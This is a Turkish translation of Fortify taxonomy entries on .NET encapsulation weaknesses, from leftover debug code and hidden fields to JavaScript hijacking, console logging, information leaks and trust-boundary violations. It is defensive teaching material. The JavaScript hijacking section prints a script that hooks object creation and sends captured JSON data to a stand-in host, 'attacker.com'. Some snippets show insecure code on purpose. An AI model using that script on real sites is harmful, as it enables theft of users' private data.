# Encapsulation Hataları

Fortify Taxonomy: Software Security Errors

C# / VB.NET / ASP.NET –Encapsulation

(https://www.fortify.com/vulncat/en/vulncat/dotnet/Encap.html)

Semih Gelişli, sgelisli-at-gmail-dot-com, 26 Eylül 2011

Encapsulation güçlü sınırlar çizmekle ilgilidir. Bir web tarayıcısında, sizin değişken kodunuzun başka bir değişken kod ile istismar edilemeyeceğinin sağlanması anlamına gelebilir. Sunucu üzerinde ise geçerli veri ve kontrol edilmemiş veri arasında, bir kullanıcı verisi ile başka bir kullanıcı verileri arasında veya kullanıcının görmesine izinli olan veri ile görmesine izinli olmadığı veri arasındaki ayrım anlamına gelebilir.

**a) ASP.NET Kötü Kullanımlar: Artakalan Debug Kodları**

*Özet*

Debug kodları yayınlanmış bir web uygulamasında istenmeyen giriş noktaları oluşabilir.

*Açıklama*

Debug etmek veya test amaçlı kullanım için tasarlanmış “Back Door” kodlarını uygulamaya ekleme işleminin uygulama ile yayınlanması veya dağıtılması yaygın geliştirme hatalarındandır. Bu tür bir debug kodu yanlışlıkla uygulama içinde bırakıldığında uygulama istenilmeyen etkileşim türlerine açık hale gelebilir. Bu tür “back door” giriş noktaları güvenlik riski oluşturur çünkü bu kodlar uygulamanın test ve dizayn aşamasında dikkate alınmaz ve uygulamanın beklenen çalışma koşulları dışında kalmaktadır.

En çok unutulan debud kodlarından biri ise *Main()* metodunun web uygulaması içinde gözükmesidir. Uygulama geliştirme esnasında bu kullanım kabul edilebilir olmasına rağmen ASP.NET uygulamasının sınıflarında *Main()* tanımı yapılmamalıdır.

*Referanslar*

[1] Standards Mapping - OWASP Top 10 2007 - (OWASP 2007) *A6 Information Leakage and Improper Error Handling*

[2] Standards Mapping - Security Technical Implementation Guide Version 3 - (STIG 3) *APP3620 CAT II*

[3] Standards Mapping - Common Weakness Enumeration - (CWE) *CWE ID 489*

[4] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 - (PCI 1.2) *Requirement 6.5.6*

**b) Gizli Alan (Hidden Field)**

*Özet*

Uygulama gizli bir form alanı oluşturur.

*Açıklama*

Uygulama geliştiriciler kullanıcıların gizli alanları göremeyeceklerini veya içeriğini değiştiremeyeceğini düşünerek gizli alanlara genellikle güvenirler. Saldırganlar bu varsayımları ihlal ederler. Onlar gizli alana yazılmış verinin içeriğini incelerler ve değiştirirler veya zararlı kodu var olan verinin yerine koyarlar.

Örnek:

```
HtmlInputHidden hidden = new HtmlInputHidden();
```

Gizli alanlar hassas bilgileri içeriyorsa bu verilerde sayfanın diğer kısımları ile aynı şekilde önbelleğe alınır. Kullanıcının bilgisi olmadan bu hassas veriler tarayıcı önbelleğinde tutulmuş olabilir.

*Referanslar*

[1] Standards Mapping - Security Technical Implementation Guide Version 3 - (STIG 3) *APP3610 CAT I*

[2] Standards Mapping - Common Weakness Enumeration - (CWE) *CWE ID 472*, *CWE ID 642*

[3] *Input Validation and Representation* Fortify Software

[4] Standards Mapping - SANS Top 25 2009 - (SANS 2009) *Risky Resource Management - CWE ID 642*

**c) JavaScript Hijacking(Ele Geçirme): Korunmasız Framework**

*Özet*

Yetkisiz bir kişinin gizli verileri okumasına olanak sağlayan Microsoft AJAX.NET(Atlas) baskısı altında olan uygulamalar Javascript ele geçirilmesi durumuna karşı savunmasızdır.

*Açıklama*

Microsoft AJAX.NET (Atlas) sunucu ve istemci arasındaki veri transferi için JSON kullanır. Framework geçerli Javascript için yanıtlar oluşturur ve <script> etiketi kullanılarak değerlendirilir ve bu nedenle Javascript ele geçirmesine karşı savunmasızdır. Varsayılan olarak framework istekleri göndermek için POST yöntemini kullanır ve bu yöntem kötü niyetli bir <script> etiketli bir isteği oluşturmayı zorlaştırır(<script> etiketlerinin sadece GET isteği oluşturduğundan beri). Ancak Microsoft AJAX.NET GET isteğini kullanmak için mekanizma sağlar. Aslında çoğu uzman, geliştiricileri GET isteği kullanarak tarayıcı önbelleği avantajını kullanmak ve performansı geliştirmek için cesaretlendirir.

Uygulama veya Framework Javascript ele geçirmesine açık durumda olabilir eğer;

- Veri aktarımı için Javascripti kullanıyorsa
- Gizli verileri tutuyorsa

Web tarayıcıları kullanıcılarını kötü niyetli web sitelerinden korumak için “Same Origin” adlı politikayı zorunlu kılmaktadır. “Same Origin” politikası, JavaScriptin web

sayfasının içeriğine erişebilmesi için web sayfasının ve JavaScriptin aynı domainde olmasını şart koşar. “Same Origin” politikası olmadığı durumda kötü niyetli web siteleri diğer web sitelerinizden size ait hassas bilgileri alarak saldırganlara iletebilir.

Web uygulaması gizli bilgi iletişimi için JavaScript kullanır ise JavaScript ele geçirme işlemi “Same Origin” politikasını atlatabilir. “Same Origin” politikasının teknik boşluğu JavaScript’e bir sitenin içeriğini başka bir sitede çalıştırmasına veya içermesine izin vermesidir. Kötü niyetli sitenin savunmasız bir site tarafından yüklenen veriye istemci üzerinde direk ulaşma imkânı olmamasına rağmen bu teknik boşluktan yararlanarak JavaScript’in çalışma şeklini ve JavaScript ile ilgili yan etkileri gözlemlemesine olanak verecek ortamı oluşturur. Web 2.0 uygulamalarından sonra veri transferi için JavaScript kullanan uygulamalar geleneksel uygulamalara göre savunmasızdırlar.

JavaScript ile bilgi iletişimi için kullanılan en yaygın format JavaScript Object Notation(JSON)’dır. JSON RFC, JSON sözdizimini JavaScript obje sözdizimin bir alt kümesi olarak tanımlar. JSON, iki tür veri yapılarına dayalıdır: Diziler ve nesneler. Bir yada daha fazla JavaScript ifadelerine çevrilebilen veri transfer formatları JavaScript ele geçirme durumuna karşı savunmasızdır. JSON, dizileri JavaScript ifadeleri ile tanımlayarak kendi üzerinde tutar ve bu durum JavaScript ele geçirilmesini daha kolay hale getirmektedir. Diziler doğal bir iletişim listesi olduğundan beri uygulamalar birden çok değeri ileteceği durumlarda genellikle diziler kullanılmaktadır. Başka bir deyişle, JSON dizi kullanımı JavaScript ele geçirilmesine karşı savunmasızdır. JSON objeleri eğer JavaScript ile sarmalanmış ve kendi JavaScript ifadeleri ile tanımlanmış ise savunmasızdır.

Örnek:

Aşağıdaki örnek, satışları yönetmek için kullanılan istemci ile web uygulamasının sunucu bileşenleri arasında kurulmuş JSON etkileşimi ile başlamaktadır. Daha sonra saldırganın istemciyi taklit ederek sunucudan dönen bilgilerin kontrolünü nasıl kazandığını göstermektedir. Bu örneğin Mozilla tabanlı web tarayıcıda yazılmış olduğunu unutmayın. Diğer bilinen web tarayıcılar, yeni işleç kullanılmadan tanımlanan objelerde yerel *constructor*’ların değiştirilmesine izin vermemektedir.

İstemci, sunucudan veri isteğinde bulunur ve dönen sonucu JSON olarak değerlendirir:

```
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function ()
{
        if (req.readyState == 4)
        {
                var txt = req.responseText;
                object = eval("(" + txt + ")");
                req = null;
        }
};
req.send(null);
```

Kod çalıştığında şuna benzer bir http isteği oluşturur:

```
GET /object.json HTTP/1.1
...
Host: www.example.com
```

```
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
```

(Bu HTTP yanıtında ve aşağındakinde bu açıklama ile doğrudan ilgili olmayan bilgiler kaldırılmıştır.)
Sunucu JSON formatında bir dizi ile yanıt verir:

```
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@fortifysoftware.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@fortifysoftware.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@fortifysoftware.com" }]
```

Bu durumda JSON kullanıcı ile ilgili hassas bilgiler(satış fırsatları listesi) içerir. Diğer kullanıcılar kullanıcı giriş bilgilerini bilmeden bu bilgilere ulaşamazlar(Modern web tarayıcılarında oturum bilgileri çerez olarak saklanır.). Ancak bir kurban kötü niyetli bir web sitesini ziyaret ederse JavaScript ele geçirilme ile bilgilerini çaldırabilir.
Eğer kurban aşağıdaki kodu içeren kötü niyetli web sitesine girerse kullanıcı bilgilerini saldırgana göndermiş olabilir.

```
<script>
// constructor tekrar yazılarak bütün objelerin oluşturulmasını sağlıyor
// böylelikle "email" alanı doldurulsa bile
// captureObject() metodu bilgileri alarak istenilen adrese bilgileri gönderiyor
function Object()
{
        this.email setter = captureObject;
}

//ele geçirilen bilgiler saldırganın web sitesine geri gönderiliyor
function captureObject(x)
{
        var objString = "";
        for (fld in this)
        {
                objString += fld + ": " + this[fld] + ", ";
        }
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" + escape(objString),true);
req.send(null);
}
</script>

<!—script etiketini kullanıcının bilgilerini getirmek için kullanın -->
<script src="http://www.example.com/object.json"></script>
```

Kötü niyetli kod JSON objelerini içeren script etiketini kullanmaktadır. Web sayfası istek ile uygun oturum çerezini gönderecektir. Diğer bir deyişle bu isteğin orijinal web uygulamasının istediğini düşünecektir. JSON dizisi istemciye geldiğinde kötü niyetli bir sayfa içeriği olarak değerlendirilmelidir. JSON değerlendirmesine tanıklık etmek için kötü niyetli sayfa JavaScript fonksiyonunu yeniden tanımlayarak yeni objeler oluşturmak için kullanmaktadır. Bu şekilde kötü niyetli kod, her objenin oluşturulmasına erişebileceği ve objelerin içeriklerini kötü niyetli siteye gönderen bir kanca atmaktadır. Diğer saldırılar varsayılan dizilerin için olan constructor'ı yeniden düzenleyebilir.
Birbirinden bağımsız web servisi sağlayan uygulamaları bir araya getirmek için kullanılan uygulamalar bazen JavaScript mesajlarının altında bir geri çağırma fonksiyonu kullanmaktadırlar. Geri çağırma fonksiyonu bağımsız web servis sağlayan uygulamaları bir araya getiren uygulamalardan başka bir uygulama tarafından tanımlı olduğu anlamına gelmektedir. Geri çağırma fonksiyonu JavaScript ele geçirme işlemini önemsiz bir mesele yapar- Tüm saldırganlar bunu yapmak zorundadır. Uygulama, bağımsız web servisi uygulaması olabilir veya güvenli olabilir fakat her ikisi birden olamaz.
Kullanıcı savunmasız sitede oturum açmamış ise saldırgan kullanıcının oturum açmasını isteyebilir ve daha sonra uygulamanın gerçek oturum açma sayfasını ekranda gösterebilir. Bu bir phishing saldırı değildir- saldırgan kullanıcının erişim bilgilerini almaz- bu yüzden anti-phishing önlemleri etkili olmaz.
Daha kompleks saldırılar dinamik etiketleme için JavaScript kullanarak uygulamadan seri isteklerde bulunabilir. Aynı teknik farklı web siteler tarafından kullanılan uygulamaların kendi web sitenizde kullanılması uygulaması yaratmakta da kullanılır. Tek farkı ilgili uygulamalardan biri kötü niyetli uygulamadır.

**d) Zayıf Loglama Uygulaması: System Output Stream Kullanımı**

*Özet*

Programa ayrılmış log dosyası tutmak yerine Console.Out veya Console.Error kullanmak programın davranışlarını izlemeyi zorlaştırır.

*Açıklama*

Örnek 1:

Program yazmayı öğrenen kişilerin ilk yazdıkları .NET programı genellikle şuna benzer:

```
public class MyClass
{
        public static void Main(string[] args)
        {
                Console.WriteLine("hello world");
        }
}
```

Çoğu yazılımcı .NET ayrıntılarını ve alt başlıklarını öğrenmeye çalıştığında, bu ilk derste öğrenilen kalıp mesajları ekrana basmak için *Console.WriteLine()* metodunu kullanmaktan vazgeçmeyen programcı sayısı şaşırtıcıdır.

Standart çıktı veya standart hataların loglamanın bir parçası olarak kullanılmaması bir sorun teşkil eder. Yapısal log olanakları, loglama leveli, düzgün biçimlendirme, log tanımlayıcı, zaman damgası ve belkide en kritiği log mesajlarını doğru yerlere yönlendirmesi özelliklerine

sahiptir. System Output Streamler ile loglama yapan kod ile karıştırılırsa genellikle ortaya kritik bilgilerden eksik düzenli bir loglama çıkar.

Yapılandırılmış loglama ihtiyacı yazılımcılar arasında genel bir kabul görmüştür ama çoğu uygulama geliştirici geliştirme aşamasında *System Output Stream* kullanmaktadır. Gözden geçirdğiniz kod, geliştirme aşamasının ilk aşamalarını geçmiş ise *Console.WriteLine* kısımları yapılandırılmış loglama için gözden kaçırılmış noktalar olabilir.

*Referanslar*

[1] Standards Mapping - OWASP Top 10 2007 - (OWASP 2007) A6 Information Leakage and Improper Error Handling

[2] Standards Mapping - OWASP Top 10 2004 - (OWASP 2004) A7 Improper Error Handling

[3] Standards Mapping - Security Technical Implementation Guide Version 3 - (STIG 3) APP3620 CAT II

[4] Standards Mapping - FIPS200 - (FISMA) AU

[5] Standards Mapping - Common Weakness Enumeration - (CWE) CWE ID 398

[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 - (PCI 1.2) Requirement 6.3.1.2, Requirement 6.5.6

[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 - (PCI 1.1) Requirement 6.5.7

**e) Sistem Bilgisi Sızması**

*Özet*

Sistem verilerinin ifşa olması veya debug verileri saldırganlara sistem hakkında bilgi verir ve saldırı planı yapmalarına yardımcı olur.

*Açıklama*

Sistem veya debug bilgisi programda çıktı veya loglama fonksiyonundan dolayı ortaya çıkarsa bu bir sistem sızmasına sebep olur.

Örnek:

Aşağıdaki kod konsola bir istisna yazdırır:

```
try
{
        ...
} catch(Exception e)
{
        Console.Writeline(e);
}
```

Sistem konfigürasyonuna göre bu bilgiler konsola, bir log dosyasına yada uzak bir kullanıcıya gönderilir. Bazı durumlarda hata mesajları sistemin hangi saldırılara karşı savunmasız olduğunu açıklayabilir. Örneğin, bir veri tabanı hatası uygulamanın SQL injection saldırısına savunmasız olduğunu ortaya çıkarabilir. Diğer hata mesajları sistem hakkında daha fazla ipucu ortaya çıkarabilir. Yukarıdaki örnekte arama yolu; işletim sistemi, sistemin üzerine

kurulu uygulamalar ve adminlerin programın konfigürasyonuna koydukları bakım miktarı hakkında bilgi anlamına gelebilir.

*Referanslar*

[1] Standards Mapping - OWASP Top 10 2007 - (OWASP 2007) A6 Information Leakage and Improper Error Handling

[2] Standards Mapping - Security Technical Implementation Guide Version 3 - (STIG 3) APP3620 CAT II

[3] Standards Mapping - Common Weakness Enumeration - (CWE) CWE ID 497

[4] Standards Mapping - Web Application Security Consortium 24 + 2 - (WASC 24 + 2) Information Leakage

[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 - (PCI 1.2) Requirement 6.5.6

**f) Güven Sınır İhlali**

*Özet*

Güvenilen ve güvenilmeyen verilerin karışımının aynı veri yapıları içinde olması geliştiricileri kontrol edilmemiş verilere yanlışlıkla güvenmesine teşvik eder.

*Açıklama*

Güven sınır bir programla çizilmiş çizgi gibi düşünülebilir. Çizginin bir tarafındaki veriler güvenilir değildir. Çizginin diğer tarafındaki veriler güvenilir sayılır. Veri doğrulama mantığının amacı verilerin güven sınırını güvenli bir şekilde geçmesine izin verir - Güvenilmeyen taraftan güvenilen tarafa.

Program güvenilen ve güvenilmeyen veri arasındaki çizgiyi bulanıklaştırırsa güven sınırı ihlali oluşur. Bu hatayı yapmanın en yaygın yolu güvenilen ve güvenilmeyen verilerin aynı veri yapıları içinde karıştırılmış olmasıdır.

Örnek:

Aşağıdaki C# kodu HTTP isteği alır ve kullanıcının oturumu açabildiğine bakmadan bilgilerini HTTP oturum objesinde saklar.

```
usrname = request.Item("usrname");
if (session.Item(ATTR_USR) == null)
{
        session.Add(ATTR_USR, usrname);
}
```

İyi yapılandırılmamış ve korunmamış güven sınırları ile geliştiriciler verilerin hangi parçalarının doğrulanmış hangilerinin doğrulanmamış olduğunu kaçırırlar.

*Referanslar*

[1] Standards Mapping - OWASP Top 10 2004 - (OWASP 2004) A1 Unvalidated Input

[2] Standards Mapping - Security Technical Implementation Guide Version 3 - (STIG 3) APP3510 CAT II

[3] Standards Mapping - Common Weakness Enumeration - (CWE) CWE ID 501

[4] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 - (PCI 1.2) Requirement 6.3.1.1

[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 - (PCI 1.1) Requirement 6.5.1

[6] Standards Mapping - FIPS200 - (FISMA) SI

[7] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press